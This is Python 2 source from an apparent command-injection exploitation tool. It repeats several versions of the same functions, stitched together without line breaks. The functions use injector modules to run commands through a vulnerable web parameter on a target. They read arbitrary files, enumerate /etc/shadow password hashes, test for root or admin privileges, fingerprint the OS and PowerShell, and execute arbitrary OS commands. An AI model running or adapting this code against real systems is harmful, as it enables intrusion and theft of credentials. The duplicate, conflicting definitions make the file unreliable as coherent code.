def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output if shell: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") #Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. ps_version = cb_injector.injection_results(response, TAG, cmd) ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True if settings.VERBOSITY_LEVEL >= 1: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify PowerShell's version, " warn_msg += "which means that some payloads or injection techniques may be failed." print settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False checks.ps_check_failed()
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") #Command execution results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL >= 1: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify PowerShell's version, " warn_msg += "which means that some payloads or injection techniques may be failed." print "\n" + settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if menu.options.verbose: print "" # Output PowerShell's version number sys.stdout.write(Style.BRIGHT + new_line + "(!) The PowerShell's version number is " + Style.UNDERLINE + ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The PowerShell's version number is " + ps_version + ".\n") output_file.close() except ValueError: print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL settings.PS_ENABLED = False
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if menu.options.verbose: print "" if shell: sys.stdout.write(Style.BRIGHT + new_line + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + Style.BRIGHT + "'" + Style.RESET_ALL + " : ") sys.stdout.flush() print shell output_file = open(filename, "a") output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n") output_file.close() else: sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n") sys.stdout.flush()
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. cu_account = cb_injector.injection_results(response, TAG) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results(response, TAG) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if menu.options.verbose: print "" sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The current user is " + cu_account) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if menu.options.verbose: print "" sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The current user is " + cu_account + "\n") output_file.close()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: cmd = "\"" + cmd + "\"" #Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. ps_version = cb_injector.injection_results(response, TAG) ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True if menu.options.verbose: print "" # Output PowerShell's version number sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE + ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The PowerShell's version number is " + ps_version + ".\n") output_file.close() except ValueError: print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL settings.PS_ENABLED = False checks.ps_check_failed()
def file_read(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if menu.options.verbose: print "" if shell: sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ") sys.stdout.flush() print shell output_file = open(filename, "a") output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n") output_file.close() else: sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n") sys.stdout.flush()
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print "\n" + settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if menu.options.verbose: print "" if shell: success_msg = "The contents of file '" + Style.UNDERLINE success_msg += file_to_read + Style.RESET_ALL + "' : " sys.stdout.write(settings.print_success_msg(success_msg)) print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES #print "" if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if output == False: output = "" session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" sys_passes = output if sys_passes == "": sys_passes = " " if sys_passes : sys.stdout.write(new_line + settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ") sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write("\n (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: fields = line.split(":") if fields[1] != "*" and fields[1] != "!" and fields[1] != "": print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.write("\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL) sys.stdout.flush()
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL sys.exit(0)
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd #check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) return check_how_long, output else: if not settings.VERBOSITY_LEVEL >= 1: print "" output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL sys.exit(0)
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) raise SystemExit()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" shell = output if shell: sys.stdout.write(Style.BRIGHT + new_line + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The hostname is " + shell + ".\n") output_file.close()
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = menu.options.os_cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results(response, TAG) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if menu.options.verbose: print "" if shell != "": print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL else: print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL sys.exit(0)
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = menu.options.os_cmd response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" if shell != "": print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) sys.exit(0)
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if menu.options.verbose: print "" if shell != "": print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_error_msg(err_msg) sys.exit(0)
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" target_os = output if target_os: if new_line == "\n": print "" target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL >= 1: print "" target_arch = "".join(str(p) for p in target_arch) success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close()
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close()
